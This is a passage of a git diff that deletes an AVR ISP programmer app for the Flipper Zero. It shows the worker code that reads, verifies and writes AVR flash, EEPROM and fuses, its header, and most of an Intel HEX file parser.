file_name, NAME_PATERN_EEPROM_FILE); - if(avr_isp_chip_arr[instance->chip_arr_ind].eepromsize > 0) { - if(!flipper_format_write_string_cstr( - flipper_format, "Dump_eeprom", furi_string_get_cstr(file_path_name))) { - FURI_LOG_E(TAG, "Unable to add Dump_eeprom"); - break; - } - } - } - ret = true; - } while(false); - } - - flipper_format_free(flipper_format); - furi_record_close(RECORD_STORAGE); - - if(ret) { - if(avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - //Dump flash - furi_string_printf( - file_path_name, "%s/%s_%s", file_path, file_name, NAME_PATERN_FLASH_FILE); - avr_isp_worker_rw_get_dump_flash(instance, furi_string_get_cstr(file_path_name)); - //Dump eeprom - if(avr_isp_chip_arr[instance->chip_arr_ind].eepromsize > 0) { - furi_string_printf( - file_path_name, "%s/%s_%s", file_path, file_name, NAME_PATERN_EEPROM_FILE); - avr_isp_worker_rw_get_dump_eeprom(instance, furi_string_get_cstr(file_path_name)); - } - - avr_isp_end_pmode(instance->avr_isp); - } - } - - furi_string_free(file_path_name); - - return true; -} - -void avr_isp_worker_rw_read_dump_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtReading); -} - -static bool avr_isp_worker_rw_verification_flash(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_assert(file_path); - - FURI_LOG_D(TAG, "Verification flash %s", file_path); - - instance->progress_flash = 0.0; - bool ret = true; - - FlipperI32HexFile* flipper_hex_flash = flipper_i32hex_file_open_read(file_path); - - uint8_t data_read_flash[272] = {0}; - uint8_t data_read_hex[272] = {0}; - - uint32_t addr = avr_isp_chip_arr[instance->chip_arr_ind].flashoffset; - bool send_extended_addr = ((avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2) > 0x10000); - uint8_t extended_addr = 0; - - FlipperI32HexFileRet flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_flash, data_read_hex, sizeof(data_read_hex)); - - while(((flipper_hex_ret.status == FlipperI32HexFileStatusData) || - (flipper_hex_ret.status == FlipperI32HexFileStatusUdateAddr)) && - ret) { - switch(flipper_hex_ret.status) { - case FlipperI32HexFileStatusData: - - if(send_extended_addr) { - if(extended_addr <= ((addr >> 16) & 0xFF)) { - avr_isp_write_extended_addr(instance->avr_isp, extended_addr); - extended_addr = ((addr >> 16) & 0xFF) + 1; - } - } - - avr_isp_read_page( - instance->avr_isp, - STK_SET_FLASH_TYPE, - (uint16_t)addr, - flipper_hex_ret.data_size, - data_read_flash, - sizeof(data_read_flash)); - - if(memcmp(data_read_hex, data_read_flash, flipper_hex_ret.data_size) != 0) { - ret = false; - - FURI_LOG_E(TAG, "Verification flash error"); - FURI_LOG_E(TAG, "Addr: 0x%04lX", addr); - for(uint32_t i = 0; i < flipper_hex_ret.data_size; i++) { - FURI_LOG_RAW_E("%02X ", data_read_hex[i]); - } - FURI_LOG_RAW_E("\r\n"); - for(uint32_t i = 0; i < flipper_hex_ret.data_size; i++) { - FURI_LOG_RAW_E("%02X ", data_read_flash[i]); - } - FURI_LOG_RAW_E("\r\n"); - } - - addr += flipper_hex_ret.data_size / 2; - instance->progress_flash = - (float)(addr) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2.0f); - break; - - case FlipperI32HexFileStatusUdateAddr: - addr = (data_read_hex[0] << 24 | data_read_hex[1] << 16) / 2; - break; - - default: - furi_crash(TAG " Incorrect status."); - break; - } - - flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_flash, data_read_hex, sizeof(data_read_hex)); - } - - flipper_i32hex_file_close(flipper_hex_flash); - instance->progress_flash = 1.0f; - - return ret; -} - -static bool - avr_isp_worker_rw_verification_eeprom(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_assert(file_path); - - FURI_LOG_D(TAG, "Verification eeprom %s", file_path); - - instance->progress_eeprom = 0.0; - bool ret = true; - - FlipperI32HexFile* flipper_hex_eeprom = flipper_i32hex_file_open_read(file_path); - - uint8_t data_read_eeprom[272] = {0}; - uint8_t data_read_hex[272] = {0}; - - uint32_t addr = avr_isp_chip_arr[instance->chip_arr_ind].eepromoffset; - - FlipperI32HexFileRet flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_eeprom, data_read_hex, sizeof(data_read_hex)); - - while(((flipper_hex_ret.status == FlipperI32HexFileStatusData) || - (flipper_hex_ret.status == FlipperI32HexFileStatusUdateAddr)) && - ret) { - switch(flipper_hex_ret.status) { - case FlipperI32HexFileStatusData: - avr_isp_read_page( - instance->avr_isp, - STK_SET_EEPROM_TYPE, - (uint16_t)addr, - flipper_hex_ret.data_size, - data_read_eeprom, - sizeof(data_read_eeprom)); - - if(memcmp(data_read_hex, data_read_eeprom, flipper_hex_ret.data_size) != 0) { - ret = false; - FURI_LOG_E(TAG, "Verification eeprom error"); - FURI_LOG_E(TAG, "Addr: 0x%04lX", addr); - for(uint32_t i = 0; i < flipper_hex_ret.data_size; i++) { - FURI_LOG_RAW_E("%02X ", data_read_hex[i]); - } - FURI_LOG_RAW_E("\r\n"); - for(uint32_t i = 0; i < flipper_hex_ret.data_size; i++) { - FURI_LOG_RAW_E("%02X ", data_read_eeprom[i]); - } - FURI_LOG_RAW_E("\r\n"); - } - - addr += flipper_hex_ret.data_size; - instance->progress_eeprom = - (float)(addr) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].eepromsize); - break; - - case FlipperI32HexFileStatusUdateAddr: - addr = (data_read_hex[0] << 24 | data_read_hex[1] << 16); - break; - - default: - furi_crash(TAG " Incorrect status."); - break; - } - - flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_eeprom, data_read_hex, sizeof(data_read_hex)); - } - - flipper_i32hex_file_close(flipper_hex_eeprom); - instance->progress_eeprom = 1.0f; - - return ret; -} - -bool avr_isp_worker_rw_verification( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - furi_assert(file_path); - furi_assert(file_name); - - FURI_LOG_D(TAG, "Verification chip"); - - instance->progress_flash = 0.0f; - instance->progress_eeprom = 0.0f; - FuriString* file_path_name = furi_string_alloc(); - - bool ret = false; - - if(avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - do { - furi_string_printf( - file_path_name, "%s/%s_%s", file_path, file_name, NAME_PATERN_FLASH_FILE); - if(!avr_isp_worker_rw_verification_flash( - instance, furi_string_get_cstr(file_path_name))) - break; - - if(avr_isp_chip_arr[instance->chip_arr_ind].eepromsize > 0) { - furi_string_printf( - file_path_name, "%s/%s_%s", file_path, file_name, NAME_PATERN_EEPROM_FILE); - - if(!avr_isp_worker_rw_verification_eeprom( - instance, furi_string_get_cstr(file_path_name))) - break; - } - ret = true; - } while(false); - avr_isp_end_pmode(instance->avr_isp); - furi_string_free(file_path_name); - } - return ret; -} - -void avr_isp_worker_rw_verification_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtVerification); -} - -static void avr_isp_worker_rw_write_flash(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_check(instance->avr_isp); - - instance->progress_flash = 0.0; - - FURI_LOG_D(TAG, "Write Flash %s", file_path); - - uint8_t data[288] = {0}; - - FlipperI32HexFile* flipper_hex_flash = flipper_i32hex_file_open_read(file_path); - - uint32_t addr = avr_isp_chip_arr[instance->chip_arr_ind].flashoffset; - bool send_extended_addr = ((avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2) > 0x10000); - uint8_t extended_addr = 0; - - FlipperI32HexFileRet flipper_hex_ret = - flipper_i32hex_file_i32hex_to_bin_get_data(flipper_hex_flash, data, sizeof(data)); - - while((flipper_hex_ret.status == FlipperI32HexFileStatusData) || - (flipper_hex_ret.status == FlipperI32HexFileStatusUdateAddr)) { - switch(flipper_hex_ret.status) { - case FlipperI32HexFileStatusData: - - if(send_extended_addr) { - if(extended_addr <= ((addr >> 16) & 0xFF)) { - avr_isp_write_extended_addr(instance->avr_isp, extended_addr); - extended_addr = ((addr >> 16) & 0xFF) + 1; - } - } - - if(!avr_isp_write_page( - instance->avr_isp, - STK_SET_FLASH_TYPE, - avr_isp_chip_arr[instance->chip_arr_ind].flashsize, - (uint16_t)addr, - avr_isp_chip_arr[instance->chip_arr_ind].pagesize, - data, - flipper_hex_ret.data_size)) { - break; - } - addr += flipper_hex_ret.data_size / 2; - instance->progress_flash = - (float)(addr) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2.0f); - break; - - case FlipperI32HexFileStatusUdateAddr: - addr = (data[0] << 24 | data[1] << 16) / 2; - break; - - default: - furi_crash(TAG " Incorrect status."); - break; - } - - flipper_hex_ret = - flipper_i32hex_file_i32hex_to_bin_get_data(flipper_hex_flash, data, sizeof(data)); - } - - flipper_i32hex_file_close(flipper_hex_flash); - instance->progress_flash = 1.0f; -} - -static void avr_isp_worker_rw_write_eeprom(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_check(instance->avr_isp); - - instance->progress_eeprom = 0.0; - uint8_t data[288] = {0}; - - FURI_LOG_D(TAG, "Write EEPROM %s", file_path); - - FlipperI32HexFile* flipper_hex_eeprom_read = flipper_i32hex_file_open_read(file_path); - - uint32_t addr = avr_isp_chip_arr[instance->chip_arr_ind].eepromoffset; - FlipperI32HexFileRet flipper_hex_ret = - flipper_i32hex_file_i32hex_to_bin_get_data(flipper_hex_eeprom_read, data, sizeof(data)); - - while((flipper_hex_ret.status == FlipperI32HexFileStatusData) || - (flipper_hex_ret.status == FlipperI32HexFileStatusUdateAddr)) { - switch(flipper_hex_ret.status) { - case FlipperI32HexFileStatusData: - if(!avr_isp_write_page( - instance->avr_isp, - STK_SET_EEPROM_TYPE, - avr_isp_chip_arr[instance->chip_arr_ind].eepromsize, - (uint16_t)addr, - avr_isp_chip_arr[instance->chip_arr_ind].eeprompagesize, - data, - flipper_hex_ret.data_size)) { - break; - } - addr += flipper_hex_ret.data_size; - instance->progress_eeprom = - (float)(addr) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].eepromsize); - break; - - case FlipperI32HexFileStatusUdateAddr: - addr = data[0] << 24 | data[1] << 16; - break; - - default: - furi_crash(TAG " Incorrect status."); - break; - } - - flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_eeprom_read, data, sizeof(data)); - } - - flipper_i32hex_file_close(flipper_hex_eeprom_read); - instance->progress_eeprom = 1.0f; -} - -bool avr_isp_worker_rw_write_dump( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - furi_assert(file_path); - furi_assert(file_name); - - FURI_LOG_D(TAG, "Write dump chip"); - - instance->progress_flash = 0.0f; - instance->progress_eeprom = 0.0f; - bool ret = false; - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* flipper_format = flipper_format_file_alloc(storage); - FuriString* file_path_name = furi_string_alloc(); - - FuriString* temp_str_1 = furi_string_alloc(); - FuriString* temp_str_2 = furi_string_alloc(); - uint32_t temp_data32; - - if(!avr_isp_worker_rw_detect_chip(instance)) { - FURI_LOG_E(TAG, "No detect AVR chip"); - } else { - //upload file with description - do { - furi_string_printf( - file_path_name, "%s/%s%s", file_path, file_name, AVR_ISP_APP_EXTENSION); - if(!flipper_format_file_open_existing( - flipper_format, furi_string_get_cstr(file_path_name))) { - FURI_LOG_E(TAG, "Error open file %s", furi_string_get_cstr(file_path_name)); - break; - } - - if(!flipper_format_read_header(flipper_format, temp_str_1, &temp_data32)) { - FURI_LOG_E(TAG, "Missing or incorrect header"); - break; - } - - if((!strcmp(furi_string_get_cstr(temp_str_1), AVR_ISP_APP_FILE_TYPE)) && - temp_data32 == AVR_ISP_APP_FILE_VERSION) { - } else { - FURI_LOG_E(TAG, "Type or version mismatch"); - break; - } - - AvrIspSignature sig_read = {0}; - - if(!flipper_format_read_hex( - flipper_format, "Signature", (uint8_t*)&sig_read, sizeof(AvrIspSignature))) { - FURI_LOG_E(TAG, "Missing Signature"); - break; - } - - if(memcmp( - (uint8_t*)&instance->signature, (uint8_t*)&sig_read, sizeof(AvrIspSignature)) != - 0) { - FURI_LOG_E( - TAG, - "Wrong chip. Connected (%02X %02X %02X), read from file (%02X %02X %02X)", - instance->signature.vendor, - instance->signature.part_family, - instance->signature.part_number, - sig_read.vendor, - sig_read.part_family, - sig_read.part_number); - break; - } - - if(!flipper_format_read_string(flipper_format, "Dump_flash", temp_str_1)) { - FURI_LOG_E(TAG, "Missing Dump_flash"); - break; - } - - //may not be - flipper_format_read_string(flipper_format, "Dump_eeprom", temp_str_2); - ret = true; - } while(false); - } - flipper_format_free(flipper_format); - furi_record_close(RECORD_STORAGE); - - if(ret) { - do { - //checking .hex files for errors - - furi_string_printf( - file_path_name, "%s/%s", file_path, furi_string_get_cstr(temp_str_1)); - - FURI_LOG_D(TAG, "Check flash file"); - FlipperI32HexFile* flipper_hex_flash_read = - flipper_i32hex_file_open_read(furi_string_get_cstr(file_path_name)); - if(flipper_i32hex_file_check(flipper_hex_flash_read)) { - FURI_LOG_D(TAG, "Check flash file: OK"); - } else { - FURI_LOG_E(TAG, "Check flash file: Error"); - ret = false; - } - flipper_i32hex_file_close(flipper_hex_flash_read); - - if(furi_string_size(temp_str_2) > 4) { - furi_string_printf( - file_path_name, "%s/%s", file_path, furi_string_get_cstr(temp_str_2)); - - FURI_LOG_D(TAG, "Check eeprom file"); - FlipperI32HexFile* flipper_hex_eeprom_read = - flipper_i32hex_file_open_read(furi_string_get_cstr(file_path_name)); - if(flipper_i32hex_file_check(flipper_hex_eeprom_read)) { - FURI_LOG_D(TAG, "Check eeprom file: OK"); - } else { - FURI_LOG_E(TAG, "Check eeprom file: Error"); - ret = false; - } - flipper_i32hex_file_close(flipper_hex_eeprom_read); - } - - if(!ret) break; - ret = false; - - //erase chip - FURI_LOG_D(TAG, "Erase chip"); - if(!avr_isp_erase_chip(instance->avr_isp)) { - FURI_LOG_E(TAG, "Erase chip: Error"); - break; - } - - if(!avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - FURI_LOG_E(TAG, "Well, I managed to enter the mod program"); - break; - } - - //write flash - furi_string_printf( - file_path_name, "%s/%s", file_path, furi_string_get_cstr(temp_str_1)); - avr_isp_worker_rw_write_flash(instance, furi_string_get_cstr(file_path_name)); - - //write eeprom - if(furi_string_size(temp_str_2) > 4) { - furi_string_printf( - file_path_name, "%s/%s", file_path, furi_string_get_cstr(temp_str_2)); - avr_isp_worker_rw_write_eeprom(instance, furi_string_get_cstr(file_path_name)); - } - ret = true; - avr_isp_end_pmode(instance->avr_isp); - } while(false); - } - - furi_string_free(file_path_name); - furi_string_free(temp_str_1); - furi_string_free(temp_str_2); - - return ret; -} - -void avr_isp_worker_rw_write_dump_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtWriting); -} - -bool avr_isp_worker_rw_write_fuse( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - furi_assert(file_path); - furi_assert(file_name); - - FURI_LOG_D(TAG, "Write fuse chip"); - - bool ret = false; - uint8_t lfuse; - uint8_t hfuse; - uint8_t efuse; - uint8_t lock; - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* flipper_format = flipper_format_file_alloc(storage); - FuriString* temp_str = furi_string_alloc(); - - uint32_t temp_data32; - - if(!avr_isp_worker_rw_detect_chip(instance)) { - FURI_LOG_E(TAG, "No detect AVR chip"); - } else { - //upload file with description - do { - furi_string_printf(temp_str, "%s/%s%s", file_path, file_name, AVR_ISP_APP_EXTENSION); - if(!flipper_format_file_open_existing(flipper_format, furi_string_get_cstr(temp_str))) { - FURI_LOG_E(TAG, "Error open file %s", furi_string_get_cstr(temp_str)); - break; - } - - if(!flipper_format_read_header(flipper_format, temp_str, &temp_data32)) { - FURI_LOG_E(TAG, "Missing or incorrect header"); - break; - } - - if((!strcmp(furi_string_get_cstr(temp_str), AVR_ISP_APP_FILE_TYPE)) && - temp_data32 == AVR_ISP_APP_FILE_VERSION) { - } else { - FURI_LOG_E(TAG, "Type or version mismatch"); - break; - } - - AvrIspSignature sig_read = {0}; - - if(!flipper_format_read_hex( - flipper_format, "Signature", (uint8_t*)&sig_read, sizeof(AvrIspSignature))) { - FURI_LOG_E(TAG, "Missing Signature"); - break; - } - - if(memcmp( - (uint8_t*)&instance->signature, (uint8_t*)&sig_read, sizeof(AvrIspSignature)) != - 0) { - FURI_LOG_E( - TAG, - "Wrong chip. Connected (%02X %02X %02X), read from file (%02X %02X %02X)", - instance->signature.vendor, - instance->signature.part_family, - instance->signature.part_number, - sig_read.vendor, - sig_read.part_family, - sig_read.part_number); - break; - } - - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 0) { - if(!flipper_format_read_hex(flipper_format, "Lfuse", &lfuse, 1)) { - FURI_LOG_E(TAG, "Missing Lfuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 1) { - if(!flipper_format_read_hex(flipper_format, "Hfuse", &hfuse, 1)) { - FURI_LOG_E(TAG, "Missing Hfuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 2) { - if(!flipper_format_read_hex(flipper_format, "Efuse", &efuse, 1)) { - FURI_LOG_E(TAG, "Missing Efuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nlocks == 1) { - if(!flipper_format_read_hex(flipper_format, "Lock", &lock, 1)) { - FURI_LOG_E(TAG, "Missing Lock"); - break; - } - } - - if(!avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - FURI_LOG_E(TAG, "Well, I managed to enter the mod program"); - break; - } - - ret = true; - - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 0) { - if(instance->lfuse != lfuse) { - if(!avr_isp_write_fuse_low(instance->avr_isp, lfuse)) { - FURI_LOG_E(TAG, "Write Lfuse: error"); - ret = false; - } - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 1) { - if(instance->hfuse != hfuse) { - if(!avr_isp_write_fuse_high(instance->avr_isp, hfuse)) { - FURI_LOG_E(TAG, "Write Hfuse: error"); - ret = false; - } - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 2) { - if(instance->efuse != efuse) { - if(!avr_isp_write_fuse_extended(instance->avr_isp, efuse)) { - FURI_LOG_E(TAG, "Write Efuse: error"); - ret = false; - } - } - } - - if(avr_isp_chip_arr[instance->chip_arr_ind].nlocks == 1) { - FURI_LOG_D(TAG, "Write lock byte"); - if(instance->lock != lock) { - if(!avr_isp_write_lock_byte(instance->avr_isp, lock)) { - FURI_LOG_E(TAG, "Write Lock byte: error"); - ret = false; - } - } - } - avr_isp_end_pmode(instance->avr_isp); - } while(false); - } - - flipper_format_free(flipper_format); - furi_record_close(RECORD_STORAGE); - furi_string_free(temp_str); - return ret; -} - -void avr_isp_worker_rw_write_fuse_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtWritingFuse); -} \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.h b/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.h deleted file mode 100644 index 2c52a8700..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.h +++ /dev/null @@ -1,99 +0,0 @@ -#pragma once - -#include - -typedef struct AvrIspWorkerRW AvrIspWorkerRW; - -typedef void (*AvrIspWorkerRWCallback)( - void* context, - const char* name, - bool detect_chip, - uint32_t flash_size); - -typedef enum { - AvrIspWorkerRWStatusILDE = 0, - AvrIspWorkerRWStatusEndReading = 1, - AvrIspWorkerRWStatusEndVerification = 2, - AvrIspWorkerRWStatusEndWriting = 3, - AvrIspWorkerRWStatusEndWritingFuse = 4, - - AvrIspWorkerRWStatusErrorReading = (-1), - AvrIspWorkerRWStatusErrorVerification = (-2), - AvrIspWorkerRWStatusErrorWriting = (-3), - AvrIspWorkerRWStatusErrorWritingFuse = (-4), - - AvrIspWorkerRWStatusReserved = 0x7FFFFFFF, ///< Prevents enum down-size compiler optimization. -} AvrIspWorkerRWStatus; - -typedef void (*AvrIspWorkerRWStatusCallback)(void* context, AvrIspWorkerRWStatus status); - -AvrIspWorkerRW* avr_isp_worker_rw_alloc(void* context); - -void avr_isp_worker_rw_free(AvrIspWorkerRW* instance); - -void avr_isp_worker_rw_start(AvrIspWorkerRW* instance); - -void avr_isp_worker_rw_stop(AvrIspWorkerRW* instance); - -bool avr_isp_worker_rw_is_running(AvrIspWorkerRW* instance); - -void avr_isp_worker_rw_set_callback( - AvrIspWorkerRW* instance, - AvrIspWorkerRWCallback callback, - void* context); - -void avr_isp_worker_rw_set_callback_status( - AvrIspWorkerRW* instance, - AvrIspWorkerRWStatusCallback callback_status, - void* context_status); - -bool avr_isp_worker_rw_detect_chip(AvrIspWorkerRW* instance); - -float avr_isp_worker_rw_get_progress_flash(AvrIspWorkerRW* instance); - -float avr_isp_worker_rw_get_progress_eeprom(AvrIspWorkerRW* instance); - -bool avr_isp_worker_rw_read_dump( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -void avr_isp_worker_rw_read_dump_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -bool avr_isp_worker_rw_verification( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -void avr_isp_worker_rw_verification_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -bool avr_isp_worker_rw_check_hex( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -bool avr_isp_worker_rw_write_dump( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -void avr_isp_worker_rw_write_dump_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -bool avr_isp_worker_rw_write_fuse( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); - -void avr_isp_worker_rw_write_fuse_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.c b/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.c deleted file mode 100644 index a8c20a0bd..000000000 --- a/applications/external/avr_isp_programmer/helpers/flipper_i32hex_file.c +++ /dev/null @@ -1,321 +0,0 @@ -#include "flipper_i32hex_file.h" -#include -#include -#include -#include -#include - -//https://en.wikipedia.org/wiki/Intel_HEX - -#define TAG "FlipperI32HexFile" - -#define COUNT_BYTE_PAYLOAD 32 //how much payload will be used - -#define I32HEX_TYPE_DATA 0x00 -#define I32HEX_TYPE_END_OF_FILE 0x01 -#define I32HEX_TYPE_EXT_LINEAR_ADDR 0x04 -#define I32HEX_TYPE_START_LINEAR_ADDR 0x05 - -struct FlipperI32HexFile { - uint32_t addr; - uint32_t addr_last; - Storage* storage; - Stream* stream; - FuriString* str_data; - FlipperI32HexFileStatus file_open; -}; - -FlipperI32HexFile* flipper_i32hex_file_open_write(const char* name, uint32_t start_addr) { - furi_assert(name); - - FlipperI32HexFile* instance = malloc(sizeof(FlipperI32HexFile)); - instance->addr = start_addr; - instance->addr_last = 0; - instance->storage = furi_record_open(RECORD_STORAGE); - instance->stream = file_stream_alloc(instance->storage); - - if(file_stream_open(instance->stream, name, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - instance->file_open = FlipperI32HexFileStatusOpenFileWrite; - FURI_LOG_D(TAG, "Open write file %s", name); - } else { - FURI_LOG_E(TAG, "Failed to open file %s", name); - instance->file_open = FlipperI32HexFileStatusErrorNoOpenFile; - } - instance->str_data = furi_string_alloc(instance->storage); - - return instance; -} - -FlipperI32HexFile* flipper_i32hex_file_open_read(const char* name) { - furi_assert(name); - - FlipperI32HexFile* instance = malloc(sizeof(FlipperI32HexFile)); - instance->addr = 0; - instance->addr_last = 0; - instance->storage = furi_record_open(RECORD_STORAGE); - instance->stream = file_stream_alloc(instance->storage); - - if(file_stream_open(instance->stream, name, FSAM_READ, FSOM_OPEN_EXISTING)) { - instance->file_open = FlipperI32HexFileStatusOpenFileRead; - FURI_LOG_D(TAG, "Open read file %s", name); - } else { - FURI_LOG_E(TAG, "Failed to open file %s", name); - instance->file_open = FlipperI32HexFileStatusErrorNoOpenFile; - } - instance->str_data = furi_string_alloc(instance->storage); - - return instance; -} - -void flipper_i32hex_file_close(FlipperI32HexFile* instance) { - furi_assert(instance); - - furi_string_free(instance->str_data); - file_stream_close(instance->stream); - stream_free(instance->stream); - furi_record_close(RECORD_STORAGE); -} - -FlipperI32HexFileRet flipper_i32hex_file_bin_to_i32hex_set_data( - FlipperI32HexFile* instance, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - furi_assert(data); - - FlipperI32HexFileRet ret = {.status = FlipperI32HexFileStatusOK, .data_size = 0}; - if(instance->file_open != FlipperI32HexFileStatusOpenFileWrite) { - ret.status = FlipperI32HexFileStatusErrorFileWrite; - } - uint8_t count_byte = 0; - uint32_t ind = 0; - uint8_t crc = 0; - - furi_string_reset(instance->str_data); - - if((instance->addr_last & 0xFF0000) < (instance->addr & 0xFF0000)) { - crc = 0x02 + 0x04 + ((instance->addr >> 24) & 0xFF) + ((instance->addr >> 16) & 0xFF); - crc = 0x01 + ~crc; - //I32HEX_TYPE_EXT_LINEAR_ADDR - furi_string_cat_printf( - instance->str_data, ":02000004%04lX%02X\r\n", (instance->addr >> 16), crc); - instance->addr_last = instance->addr; - } - - while(ind < data_size) { - if((ind + COUNT_BYTE_PAYLOAD) > data_size) { - count_byte = data_size - ind; - } else { - count_byte = COUNT_BYTE_PAYLOAD; - } - //I32HEX_TYPE_DATA - furi_string_cat_printf( - instance->str_data, ":%02X%04lX00", count_byte, (instance->addr & 0xFFFF)); - crc = count_byte + ((instance->addr >> 8) & 0xFF) + (instance->addr & 0xFF); - - for(uint32_t i = 0; i < count_byte; i++) { - furi_string_cat_printf(instance->str_data, "%02X", *data); - crc += *data++; - } - crc = 0x01 + ~crc; - furi_string_cat_printf(instance->str_data, "%02X\r\n", crc); - - ind += count_byte; - instance->addr += count_byte; - } - if(instance->file_open) stream_write_string(instance->stream, instance->str_data); - return ret; -} - -FlipperI32HexFileRet flipper_i32hex_file_bin_to_i32hex_set_end_line(FlipperI32HexFile* instance) { - furi_assert(instance); - - FlipperI32HexFileRet ret = {.status = FlipperI32HexFileStatusOK, .data_size = 0}; - if(instance->file_open != FlipperI32HexFileStatusOpenFileWrite) { - ret.status = FlipperI32HexFileStatusErrorFileWrite; - } - furi_string_reset(instance->str_data); - //I32HEX_TYPE_END_OF_FILE - furi_string_cat_printf(instance->str_data, ":00000001FF\r\n"); - if(instance->file_open) stream_write_string(instance->stream, instance->str_data); - return ret; -} - -void flipper_i32hex_file_bin_to_i32hex_set_addr(FlipperI32HexFile* instance, uint32_t addr) { - furi_assert(instance); - - instance->addr = addr; -} - -const char* flipper_i32hex_file_get_string(FlipperI32HexFile* instance) { - furi_assert(instance); - - return furi_string_get_cstr(instance->str_data); -} - -static FlipperI32HexFileRet flipper_i32hex_file_parse_line( - FlipperI32HexFile* instance, - const char* str, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - furi_assert(data); - - char* str1; - uint32_t data_wrire_ind = 0; - uint32_t data_len = 0; - FlipperI32HexFileRet ret = {.status = FlipperI32HexFileStatusErrorData, .data_size = 0}; - - //Search for start of data I32HEX - str1 = strstr(str, ":"); - do { - if(str1 == NULL) { - ret.status = FlipperI32HexFileStatusErrorData; - break; - } - str1++; - if(!hex_char_to_uint8(*str1, str1[1], data + data_wrire_ind)) { - ret.status = FlipperI32HexFileStatusErrorData; - break; - } - str1++; - if(++data_wrire_ind > data_size) { - ret.status = FlipperI32HexFileStatusErrorOverflow; - break; - } - data_len = 5 + data[0]; // +5 bytes per header and crc - while(data_len > data_wrire_ind) { - str1++; - if(!hex_char_to_uint8(*str1, str1[1], data + data_wrire_ind)) { - ret.status = FlipperI32HexFileStatusErrorData; - break; - } - str1++; - if(++data_wrire_ind > data_size) { - ret.status = FlipperI32HexFileStatusErrorOverflow; - break; - } - } - ret.status = FlipperI32HexFileStatusOK; - ret.data_size = data_wrire_ind; - - } while(0); - return ret; -} - -static bool flipper_i32hex_file_check_data(uint8_t* data, uint32_t data_size) { - furi_assert(data); - - uint8_t crc = 0; - uint32_t data_read_ind = 0; - if(data[0] > data_size) return false; - while(data_read_ind < data_size - 1) { - crc += data[data_read_ind++]; - } - return data[data_size - 1] == ((1 + ~crc) & 0xFF); -} - -static FlipperI32HexFileRet flipper_i32hex_file_parse( - FlipperI32HexFile* instance, - const char* str, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - furi_assert(data); - - FlipperI32HexFileRet ret = flipper_i32hex_file_parse_line(instance, str, data, data_size); - - if((ret.status == FlipperI32HexFileStatusOK) && (ret.data_size > 4)) { - switch(data[3]) { - case I32HEX_TYPE_DATA: - if(flipper_i32hex_file_check_data(data, ret.data_size)) { - ret.data_size -= 5; - memcpy(data, data + 4, ret.data_size); - ret.status = FlipperI32HexFileStatusData; - } else { - 